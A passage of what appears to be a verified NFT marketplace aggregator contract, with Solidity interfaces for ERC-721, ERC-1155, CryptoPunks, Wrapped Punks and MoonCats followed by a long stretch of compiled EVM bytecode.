on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IERC721 { /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external; function setApprovalForAll(address operator, bool approved) external; function approve(address to, uint256 tokenId) external; function isApprovedForAll(address owner, address operator) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IERC1155 { function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) external; function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface ICryptoPunks { function punkIndexToAddress(uint index) external view returns(address owner); function offerPunkForSaleToAddress(uint punkIndex, uint minSalePriceInWei, address toAddress) external; function buyPunk(uint punkIndex) external payable; function transferPunk(address to, uint punkIndex) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IWrappedPunk { /** * @dev Mints a wrapped punk */ function mint(uint256 punkIndex) external; /** * @dev Burns a specific wrapped punk */ function burn(uint256 punkIndex) external; /** * @dev Registers proxy */ function registerProxy() external; /** * @dev Gets proxy address */ function proxyInfo(address user) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IMoonCatsRescue { function acceptAdoptionOffer(bytes5 catId) payable external; function makeAdoptionOfferToAddress(bytes5 catId, uint price, address to) external; function giveCat(bytes5 catId, address to) external; function catOwners(bytes5 catId) external view returns(address); function rescueOrder(uint256 rescueIndex) external view returns(bytes5 catId); }
0x6080604052600436106102bf5760003560e01c80639a2b81151161016e578063d8579704116100cb578063ecb96fe61161007f578063f23a6e6111610064578063f23a6e61146108b4578063f2fde38b146108fa578063fc5253951461091a57600080fd5b8063ecb96fe61461083d578063f0b9e5ba1461087057600080fd5b8063ddb382f9116100b0578063ddb382f9146107c4578063e4dd4b8a146107e8578063e6041f9a1461081d57600080fd5b8063d857970414610791578063dad9a7cd146107b157600080fd5b8063b927796311610122578063bd38837b11610107578063bd38837b1461072f578063c5cadd7f1461075c578063ccf3dc821461077157600080fd5b8063b9277963146106c7578063bc197c81146106e757600080fd5b8063a1b6279711610153578063a1b627971461066d578063b19337a414610687578063b7ce33a2146106a757600080fd5b80639a2b81151461063a5780639f2ba09b1461064d57600080fd5b80633a5750b61161021c5780636335f25e116101d057806381ea4ea6116101b557806381ea4ea6146105cf57806383206e80146105ef5780638da5cb5b1461060f57600080fd5b80636335f25e1461058d578063715018a6146105ba57600080fd5b8063565528d711610201578063565528d71461053a5780635d799f871461055a5780635eacc63a1461057a57600080fd5b80633a5750b6146104ed578063452a93201461050d57600080fd5b8063150b7a0211610273578063186b100c11610258578063186b100c1461046e5780631bd787481461048157806326e2dca2146104cd57600080fd5b8063150b7a02146103ab578063180cb47f1461042157600080fd5b806309ba153d116102a457806309ba153d146103645780630a9254e41461037757806311f854171461038c57600080fd5b806301ffc9a7146102cb57806304824e701461034257600080fd5b366102c657005b600080fd5b3480156102d757600080fd5b5061032d6102e6366004613743565b7fffffffff00000000000000000000000000000000000000000000000000000000167f01ffc9a7000000000000000000000000000000000000000000000000000000001490565b60405190151581526020015b60405180910390f35b34801561034e57600080fd5b5061036261035d3660046137ae565b61093a565b005b610362610372366004613c69565b6109b3565b34801561038357600080fd5b50610362610b6e565b34801561039857600080fd5b5060065461032d90610100900460ff1681565b3480156103b757600080fd5b506103f06103c6366004613d5f565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040517fffffffff000000000000000000000000000000000000000000000000000000009091168152602001610339565b34801561042d57600080fd5b506104497383d841bc0450d5ac35dcad8d05db53eba29978c281565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610339565b61036261047c366004614064565b610db6565b34801561048d57600080fd5b506104a161049c36600461416d565b610e9b565b6040805173ffffffffffffffffffffffffffffffffffffffff9093168352901515602083015201610339565b3480156104d957600080fd5b506103626104e83660046141cb565b610eee565b3480156104f957600080fd5b5061036261050836600461416d565b61103e565b34801561051957600080fd5b506002546104499073ffffffffffffffffffffffffffffffffffffffff1681565b34801561054657600080fd5b50610362610555366004614241565b611148565b34801561056657600080fd5b50610362610575366004614283565b611266565b6103626105883660046142bc565b6113fe565b34801561059957600080fd5b506004546104499073ffffffffffffffffffffffffffffffffffffffff1681565b3480156105c657600080fd5b50610362611547565b3480156105db57600080fd5b506103626105ea3660046137ae565b6115ba565b3480156105fb57600080fd5b5061036261060a3660046143c9565b6116cb565b34801561061b57600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610449565b6103626106483660046143e6565b611763565b34801561065957600080fd5b50610362610668366004614423565b6117db565b34801561067957600080fd5b5060065461032d9060ff1681565b34801561069357600080fd5b506103626106a23660046137ae565b6118db565b3480156106b357600080fd5b506103626106c2366004614464565b611989565b3480156106d357600080fd5b506103626106e236600461416d565b611b0a565b3480156106f357600080fd5b506103f06107023660046144f9565b7fbc197c810000000000000000000000000000000000000000000000000000000098975050505050505050565b34801561073b57600080fd5b506003546104499073ffffffffffffffffffffffffffffffffffffffff1681565b34801561076857600080fd5b50610362611b76565b34801561077d57600080fd5b5061036261078c3660046145b8565b611bda565b34801561079d57600080fd5b506103626107ac3660046137ae565b611cbc565b6103626107bf3660046145e6565b611d70565b3480156107d057600080fd5b506107da60055481565b604051908152602001610339565b3480156107f457600080fd5b5061080861080336600461416d565b611f8b565b60408051928352901515602083015201610339565b34801561082957600080fd5b506103626108383660046143c9565b611fbc565b34801561084957600080fd5b506006546104499062010000900473ffffffffffffffffffffffffffffffffffffffff1681565b34801561087c57600080fd5b506103f061088b3660046146e6565b7ff0b9e5ba00000000000000000000000000000000000000000000000000000000949350505050565b3480156108c057600080fd5b506103f06108cf366004614742565b7ff23a6e61000000000000000000000000000000000000000000000000000000009695505050505050565b34801561090657600080fd5b506103626109153660046137ae565b61205a565b34801561092657600080fd5b506103626109353660046137ae565b612153565b60005473ffffffffffffffffffffffffffffffffffffffff1633146109a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6109b08147612201565b50565b600154600114610a055760405162461bcd60e51b815260206004820152600a60248201527f5245454e5452414e435900000000000000000000000000000000000000000000604482015260640161099d565b600260015560005b845151811015610b48578451805182908110610a2b57610a2b6147be565b602002602001015173ffffffffffffffffffffffffffffffffffffffff166323b872dd333088602001518581518110610a6657610a666147be565b602090810291909101015160405173ffffffffffffffffffffffffffffffffffffffff938416602482015292909116604483015260648201526084016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610af091906147ed565b6000604051808303816000865af19150503d8060008114610b2d576040519150601f19603f3d011682016040523d82523d6000602084013e610b32565b606091505b5050508080610b4090614828565b915050610a0d565b50610b5282612282565b610b5b8361233c565b610b648161268e565b5050600180555050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610bd55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b73b7f7f6c52f2e2fdb1963eab30438024864c313f673ffffffffffffffffffffffffffffffffffffffff1663ddd81f826040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610c3157600080fd5b505af1158015610c45573d6000803e3d6000fd5b50506040517fa9c7b2c800000000000000000000000000000000000000000000000000000000815230600482015273b7f7f6c52f2e2fdb1963eab30438024864c313f6925063a9c7b2c89150602401602060405180830381865afa158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd59190614888565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff929092169190911781556040517fa22cb46500000000000000000000000000000000000000000000000000000000815273c3f733ca98e0dad0386979eb96fb1722a1a05e699181019190915260016024820152737c40c393dc0f283f318791d746d894ddd36935729063a22cb46590604401600060405180830381600087803b158015610d9c57600080fd5b505af1158015610db0573d6000803e3d6000fd5b50505050565b60065460ff16610e085760405162461bcd60e51b815260206004820152601260248201527f747261646573206e6f7420616c6c6f7765640000000000000000000000000000604482015260640161099d565b600154600114610e5a5760405162461bcd60e51b815260206004820152600a60248201527f5245454e5452414e435900000000000000000000000000000000000000000000604482015260640161099d565b6002600155610e68816128f0565b610e738787876129f6565b610e7c84612282565b610e858361233c565b610e8e8261268e565b5050600180555050505050565b60078181548110610eab57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff8116915074010000000000000000000000000000000000000000900460ff1682565b60005473ffffffffffffffffffffffffffffffffffffffff163314610f555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b60005b82811015611037578473ffffffffffffffffffffffffffffffffffffffff166323b872dd3084878786818110610f9057610f906147be565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e088901b16815273ffffffffffffffffffffffffffffffffffffffff958616600482015294909316602485015250602090910201356044820152606401600060405180830381600087803b15801561100c57600080fd5b505af1158015611020573d6000803e3d6000fd5b50505050808061102f90614828565b915050610f58565b5050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146110a55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b6040805180820190915290815260016020820181815260088054928301815560005291517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee360029092029182015590517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee490910180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146111af5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b60405180604001604052808373ffffffffffffffffffffffffffffffffffffffff168152602001821515815250600784815481106111ef576111ef6147be565b60009182526020918290208351910180549390920151151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00000000000000000000000000000000000000000090931673ffffffffffffffffffffffffffffffffffffffff90911617919091179055505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146112cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff83169063a9059cbb90839083906370a0823190602401602060405180830381865afa158015611341573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136591906148a5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff909216600483015260248201526044016020604051808303816000875af11580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f991906148be565b505050565b6001546001146114505760405162461bcd60e51b815260206004820152600a60248201527f5245454e5452414e435900000000000000000000000000000000000000000000604482015260640161099d565b600260015560005b815181101561152d57737be8076f4ea4a4ad08075c2508e481d6c946d12b73ffffffffffffffffffffffffffffffffffffffff1682828151811061149e5761149e6147be565b6020026020010151600001518383815181106114bc576114bc6147be565b6020026020010151602001516040516114d591906147ed565b60006040518083038185875af1925050503d8060008114611512576040519150601f19603f3d011682016040523d82523d6000602084013e611517565b606091505b505050808061152590614828565b915050611458565b5047156115405760008060008047335af1505b5060018055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146115ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b6115b86000612e99565b565b60005473ffffffffffffffffffffffffffffffffffffffff1633146116215760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b6040805180820190915273ffffffffffffffffffffffffffffffffffffffff918216815260016020820181815260078054928301815560005291517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890910180549251151574010000000000000000000000000000000000000000027fffffffffffffffffffffff0000000000000000000000000000000000000000009093169190931617179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146117325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b6001546001146117b55760405162461bcd60e51b815260206004820152600a60248201527f5245454e5452414e435900000000000000000000000000000000000000000000604482015260640161099d565b60026001556117c38161233c565b47156115405760008060008047335af1505060018055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146118425760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b6040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301526024820183905284169063095ea7b3906044016020604051808303816000875af11580156118b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db091906148be565b60005473ffffffffffffffffffffffffffffffffffffffff1633146119425760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146119f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b60005b84811015611b01578673ffffffffffffffffffffffffffffffffffffffff1663f242432a3084898986818110611a2b57611a2b6147be565b90506020020135888887818110611a4457611a446147be565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e089901b16815273ffffffffffffffffffffffffffffffffffffffff968716600482015295909416602486015250604484019190915260209091020135606482015260a06084820152600060a482015260c401600060405180830381600087803b158015611ad657600080fd5b505af1158015611aea573d6000803e3d6000fd5b505050508080611af990614828565b9150506119f3565b50505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611b715760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b600555565b60025473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bb057600080fd5b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314611c415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b604051806040016040528083815260200182151581525060088481548110611c6b57611c6b6147be565b6000918252602091829020835160029290920201908155910151600190910180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611d235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b6006805473ffffffffffffffffffffffffffffffffffffffff90921662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909216919091179055565b600654610100900460ff16611dc75760405162461bcd60e51b815260206004820152601760248201527f6672656520747261646573206e6f7420616c6c6f776564000000000000000000604482015260640161099d565b600154600114611e195760405162461bcd60e51b815260206004820152600a60248201527f5245454e5452414e435900000000000000000000000000000000000000000000604482015260640161099d565b6002600181905550600060088281548110611e3657611e366147be565b600091825260209182902060408051808201909152600290920201805482526001015460ff1615159181018290529150611ed85760405162461bcd60e51b815260206004820152603360248201527f6d756c7469417373657453776170576974686f75744665653a20496e4163746960448201527f76652073706f6e736f726564206d61726b657400000000000000000000000000606482015260840161099d565b611ee38888886129f6565b611eec85612282565b6000611efc858360000151612f0e565b905080611f73576040805162461bcd60e51b81526020600482015260248101919091527f6d756c7469417373657453776170576974686f75744665653a2074726164657360448201527f20646f206e6f7420696e636c7564652073706f6e736f726564206d61726b6574606482015260840161099d565b611f7c8461268e565b50506001805550505050505050565b60088181548110611f9b57600080fd5b60009182526020909120600290910201805460019091015490915060ff1682565b60005473ffffffffffffffffffffffffffffffffffffffff1633146120235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b60068054911515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146120c15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b73ffffffffffffffffffffffffffffffffffffffff811661214a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161099d565b6109b081612e99565b60005473ffffffffffffffffffffffffffffffffffffffff1633146121ba5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161099d565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600080600080600085875af19050806113f95760405162461bcd60e51b815260206004820152602160248201527f5f7472616e736665724574683a20457468207472616e73666572206661696c6560448201527f6400000000000000000000000000000000000000000000000000000000000000606482015260840161099d565b60005b815181101561233857600354825160009173ffffffffffffffffffffffffffffffffffffffff16908490849081106122bf576122bf6147be565b6020026020010151600001516040516122d891906147ed565b600060405180830381855af49150503d8060008114612313576040519150601f19603f3d011682016040523d82523d6000602084013e612318565b606091505b5050905061232581613292565b508061233081614828565b915050612285565b5050565b60005b8151811015612338576000806000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1283e7786868151811061239d5761239d6147be565b6020026020010151600001516040518263ffffffff1660e01b81526004016123c791815260200190565b606060405180830381865afa1580156123e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240891906148db565b9250925092508061245b5760405162461bcd60e51b815260206004820152601760248201527f5f74726164653a20496e416374697665204d61726b6574000000000000000000604482015260640161099d565b737be8076f4ea4a4ad08075c2508e481d6c946d12b73ffffffffffffffffffffffffffffffffffffffff84161415612537578273ffffffffffffffffffffffffffffffffffffffff168585815181106124b6576124b66147be565b6020026020010151602001518686815181106124d4576124d46147be565b6020026020010151604001516040516124ed91906147ed565b60006040518083038185875af1925050503d806000811461252a576040519150601f19603f3d011682016040523d82523d6000602084013e61252f565b606091505b505050612678565b6000826125e6578373ffffffffffffffffffffffffffffffffffffffff16868681518110612567576125676147be565b602002602001015160200151878781518110612585576125856147be565b60200260200101516040015160405161259e91906147ed565b60006040518083038185875af1925050503d80600081146125db576040519150601f19603f3d011682016040523d82523d6000602084013e6125e0565b606091505b5061266a565b8373ffffffffffffffffffffffffffffffffffffffff1686868151811061260f5761260f6147be565b60200260200101516040015160405161262891906147ed565b600060405180830381855af49150503d8060008114612663576040519150601f19603f3d011682016040523d82523d6000602084013e612668565b606091505b505b50905061267681613292565b505b505050808061268690614828565b91505061233f565b47156126a05760008060008047335af1505b60005b81518110156123385760008282815181106126c0576126c06147be565b60209081029190910101516040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190602401602060405180830381865afa158015612736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275a91906148a5565b11156128de57818181518110612772576127726147be565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61279c3390565b8484815181106127ae576127ae6147be565b60209081029190910101516040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190602401602060405180830381865afa158015612824573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061284891906148a5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff909216600483015260248201526044016020604051808303816000875af11580156128b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128dc91906148be565b505b806128e881614828565b9150506126a3565b600554602082015110156129465760405162461bcd60e51b815260206004820152601060248201527f496e73756666696369656e742066656500000000000000000000000000000000604482015260640161099d565b6020810151156109b057805160078054600092908110612968576129686147be565b60009182526020918290206040805180820190915291015473ffffffffffffffffffffffffffffffffffffffff8116825274010000000000000000000000000000000000000000900460ff16151591810182905291506129e8576123387383d841bc0450d5ac35dcad8d05db53eba29978c28360015b6020020151612201565b8051612338908360016129de565b60005b835151811015612b34578351805182908110612a1757612a176147be565b602002602001015173ffffffffffffffffffffffffffffffffffffffff166323b872dd333087602001518581518110612a5257612a526147be565b602090810291909101015160405173ffffffffffffffffffffffffffffffffffffffff938416602482015292909116604483015260648201526084016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051612adc91906147ed565b6000604051808303816000865af19150503d8060008114612b19576040519150601f19603f3d011682016040523d82523d6000602084013e612b1e565b606091505b5050508080612b2c90614828565b9150506129f9565b5060005b8251811015612dab57828181518110612b5357612b536147be565b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1673b47e3cd837ddf8e4c57f05d70ab865de6e193bbb73ffffffffffffffffffffffffffffffffffffffff161415612bcd57612bc8838281518110612bbb57612bbb6147be565b60200260200101516132a1565b612d99565b828181518110612bdf57612bdf6147be565b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff167360cd862c9c687a9de49aecdc3a99b74a4fc54ab673ffffffffffffffffffffffffffffffffffffffff161415612c5457612bc8838281518110612c4757612c476147be565b602002602001015161347f565b60005b838281518110612c6957612c696147be565b60200260200101516040015151811015612d9757838281518110612c8f57612c8f6147be565b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff166323b872dd612cbd3390565b30878681518110612cd057612cd06147be565b6020026020010151604001518581518110612ced57612ced6147be565b60209081029190910101516040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff93841660048201529290911660248301526044820152606401600060405180830381600087803b158015612d6c57600080fd5b505af1158015612d80573d6000803e3d6000fd5b505050508080612d8f90614828565b915050612c57565b505b80612da381614828565b915050612b38565b5060005b8151811015610db057818181518110612dca57612dca6147be565b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff16632eb2c2d6612df83390565b30858581518110612e0b57612e0b6147be565b602002602001015160200151868681518110612e2957612e296147be565b6020026020010151604001516040518563ffffffff1660e01b8152600401612e549493929190614958565b600060405180830381600087803b158015612e6e57600080fd5b505af1158015612e82573d6000803e3d6000fd5b505050508080612e9190614828565b915050612daf565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000805b835181101561328b5782848281518110612f2e57612f2e6147be565b6020026020010151600001511415612f4557600191505b6000806000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1283e77888681518110612f9a57612f9a6147be565b6020026020010151600001516040518263ffffffff1660e01b8152600401612fc491815260200190565b606060405180830381865afa158015612fe1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061300591906148db565b925092509250806130585760405162461bcd60e51b815260206004820152601760248201527f5f74726164653a20496e416374697665204d61726b6574000000000000000000604482015260640161099d565b737be8076f4ea4a4ad08075c2508e481d6c946d12b73ffffffffffffffffffffffffffffffffffffffff84161415613134578273ffffffffffffffffffffffffffffffffffffffff168785815181106130b3576130b36147be565b6020026020010151602001518886815181106130d1576130d16147be565b6020026020010151604001516040516130ea91906147ed565b60006040518083038185875af1925050503d8060008114613127576040519150601f19603f3d011682016040523d82523d6000602084013e61312c565b606091505b505050613275565b6000826131e3578373ffffffffffffffffffffffffffffffffffffffff16888681518110613164576131646147be565b602002602001015160200151898781518110613182576131826147be565b60200260200101516040015160405161319b91906147ed565b60006040518083038185875af1925050503d80600081146131d8576040519150601f19603f3d011682016040523d82523d6000602084013e6131dd565b606091505b50613267565b8373ffffffffffffffffffffffffffffffffffffffff1688868151811061320c5761320c6147be565b60200260200101516040015160405161322591906147ed565b600060405180830381855af49150503d8060008114613260576040519150601f19603f3d011682016040523d82523d6000602084013e613265565b606091505b505b50905061327381613292565b505b505050808061328390614828565b915050612f12565b5092915050565b806109b0573d6000803e3d6000fd5b60005b816040015151811015612338576000826000015173ffffffffffffffffffffffffffffffffffffffff166358178168846040015184815181106132e9576132e96147be565b60200260200101516040518263ffffffff1660e01b815260040161330f91815260200190565b602060405180830381865afa15801561332c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133509190614888565b905073ffffffffffffffffffffffffffffffffffffffff811633146133dd5760405162461bcd60e51b815260206004820152602560248201527f5f61636365707443727970746f50756e6b3a20696e76616c69642070756e6b2060448201527f6f776e6572000000000000000000000000000000000000000000000000000000606482015260840161099d565b826000015173ffffffffffffffffffffffffffffffffffffffff16638264fe9884604001518481518110613413576134136147be565b60200260200101516040518263ffffffff1660e01b815260040161343991815260200190565b600060405180830381600087803b15801561345357600080fd5b505af1158015613467573d6000803e3d6000fd5b5050505050808061347790614828565b9150506132a4565b60005b8160400151518110156123385760006134b7836040015183815181106134aa576134aa6147be565b60200260200101516136b6565b83516040517f3894ca570000000000000000000000000000000000000000000000000000000081527fffffffffff0000000000000000000000000000000000000000000000000000008316600482015291925060009173ffffffffffffffffffffffffffffffffffffffff90911690633894ca5790602401602060405180830381865afa15801561354c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135709190614888565b905073ffffffffffffffffffffffffffffffffffffffff811633146135fd5760405162461bcd60e51b815260206004820152602560248201527f5f6163636570744d6f6f6e4361743a20696e76616c6964206d6f6f6e6361742060448201527f6f776e6572000000000000000000000000000000000000000000000000000000606482015260840161099d565b83516040517f1be705100000000000000000000000000000000000000000000000000000000081527fffffffffff0000000000000000000000000000000000000000000000000000008416600482015273ffffffffffffffffffffffffffffffffffffffff90911690631be7051090602401600060405180830381600087803b15801561368957600080fd5b505af115801561369d573d6000803e3d6000fd5b50505050505080806136ae90614828565b915050613482565b6040805160208082528183019092526000918291906020820181803683375050506020810184815260405191925060059081830190600a8401905b818310156137095780518352602092830192016136f1565b505060058352601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660405250602001519392505050565b60006020828403121561375557600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461378557600080fd5b9392505050565b73ffffffffffffffffffffffffffffffffffffffff811681146109b057600080fd5b6000602082840312156137c057600080fd5b81356137858161378c565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561381d5761381d6137cb565b60405290565b6040516060810167ffffffffffffffff8111828210171561381d5761381d6137cb565b6040516020810167ffffffffffffffff8111828210171561381d5761381d6137cb565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156138b0576138b06137cb565b604052919050565b600067ffffffffffffffff8211156138d2576138d26137cb565b5060051b60200190565b600082601f8301126138ed57600080fd5b813560206139026138fd836138b8565b613869565b82815260059290921b8401810191818101908684111561392157600080fd5b8286015b848110156139455780356139388161378c565b8352918301918301613925565b509695505050505050565b600082601f83011261396157600080fd5b813560206139716138fd836138b8565b82815260059290921b8401810191818101908684111561399057600080fd5b8286015b848110156139455780358352918301918301613994565b6000604082840312156139bd57600080fd5b6139c56137fa565b9050813567ffffffffffffffff808211156139df57600080fd5b6139eb858386016138dc565b83526020840135915080821115613a0157600080fd5b50613a0e84828501613950565b60208301525092915050565b600082601f830112613a2b57600080fd5b813567ffffffffffffffff811115613a4557613a456137cb565b613a7660207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601613869565b818152846020838601011115613a8b57600080fd5b816020850160208301376000918101602001919091529392505050565b600082601f830112613ab957600080fd5b81356020613ac96138fd836138b8565b82815260059290921b84018101918181019086841115613ae857600080fd5b8286015b8481101561394557803567ffffffffffffffff80821115613b0d5760008081fd5b81890191506060807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0848d03011215613b465760008081fd5b613b4e613823565b838801358152604080850135828a0152918401359183831115613b715760008081fd5b613b7f8d8a85880101613a1a565b908201528652505050918301918301613aec565b600082601f830112613ba457600080fd5b81356020613bb46138fd836138b8565b82815260059290921b84018101918181019086841115613bd357600080fd5b8286015b8481101561394557803567ffffffffffffffff80821115613bf85760008081fd5b8189019150857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0838c03011215613c2f5760008081fd5b613c3761384656